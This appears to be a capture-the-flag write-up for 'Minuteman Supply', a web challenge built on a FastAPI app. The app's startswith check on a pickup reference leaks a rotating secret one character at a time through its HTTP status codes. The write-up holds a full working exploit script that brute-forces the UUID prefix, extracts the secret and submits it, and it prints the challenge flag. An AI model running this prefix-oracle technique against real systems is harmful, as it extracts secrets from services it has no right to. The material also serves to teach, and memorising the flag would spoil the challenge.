Misc / Webmedium
Minuteman Supply
by Pavel Knespl (capyplivl)
A FastAPI supply office where a background checker (continental_quartermaster) files a fresh sealed crate every 2-minute tick, and the crate's sealed_contents is the rotating secret. The Form 1776-B release endpoint validates a pickup-reference UUID with startswith, turning it into a per-character prefix oracle that leaks the secret one char at a time. Submit the recovered pair to the scoreboard to get the flag.
Solve
- Confirm the oracle in the source (
app/routes_forms.py,validate_reference):
A correct prefix returns 202, a wrong one returns 404, and the final matching char returns 200 withif submitted == on_file: return 200, {"sealed_contents": req["sealed_contents"]} if on_file.startswith(submitted): return 202 return 404sealed_contents. The endpoint needs a bearer token, and the checker name is reserved (app/routes_auth.py), so register an ordinary clerk. - The full attack: register/login for a token, read
flag_id = continental_quartermaster:<manifest_id>from/scoreboard/current, walk the 36-char UUID over0-9a-f-, then submit{flag_id, flag_value: sealed_contents}to/scoreboard/submit. Saved assolve.py:#!/usr/bin/env python3 import sys, requests BASE = sys.argv[1].rstrip("/") ALPHABET = "0123456789abcdef-" s = requests.Session() creds = {"username": "clerk_abcdef", "password": "pw_minuteman_123"} s.post(f"{BASE}/api/register", json=creds) tok = s.post(f"{BASE}/api/login", json=creds).json()["access_token"] s.headers["Authorization"] = f"Bearer {tok}" flag_id = s.get(f"{BASE}/scoreboard/current").json()["flag_id"] manifest_id = flag_id.split(":", 1)[1] ref, sealed = "", None while len(ref) < 36: for c in ALPHABET: r = s.get(f"{BASE}/api/forms/1776-b/validate-reference", params={"manifest_id": manifest_id, "reference": ref + c}) if r.status_code == 200: ref += c; sealed = r.json()["sealed_contents"]; break if r.status_code == 202: ref += c; break else: raise SystemExit(f"stuck at {ref!r} (crate rotated)") if sealed is not None: break out = s.post(f"{BASE}/scoreboard/submit", json={"flag_id": flag_id, "flag_value": sealed}).json() print("flag_id ", flag_id) print("ref ", ref) print("sealed ", sealed) print("FLAG ", out.get("ctfd_flag"))python3 solve.py http://HOST:PORT - The prefix walk is a few hundred requests, well inside the 5-tick crate lifetime. The 200 response (exact match) returns
sealed_contentsdirectly, e.g.mso_tick_14843233_8918c3f92331d7d3. Submitting the pair returns the scoreboard flag inctfd_flag.
Flag: SVIUSCG{133ec3139b9cba729392d5d5007ebab3}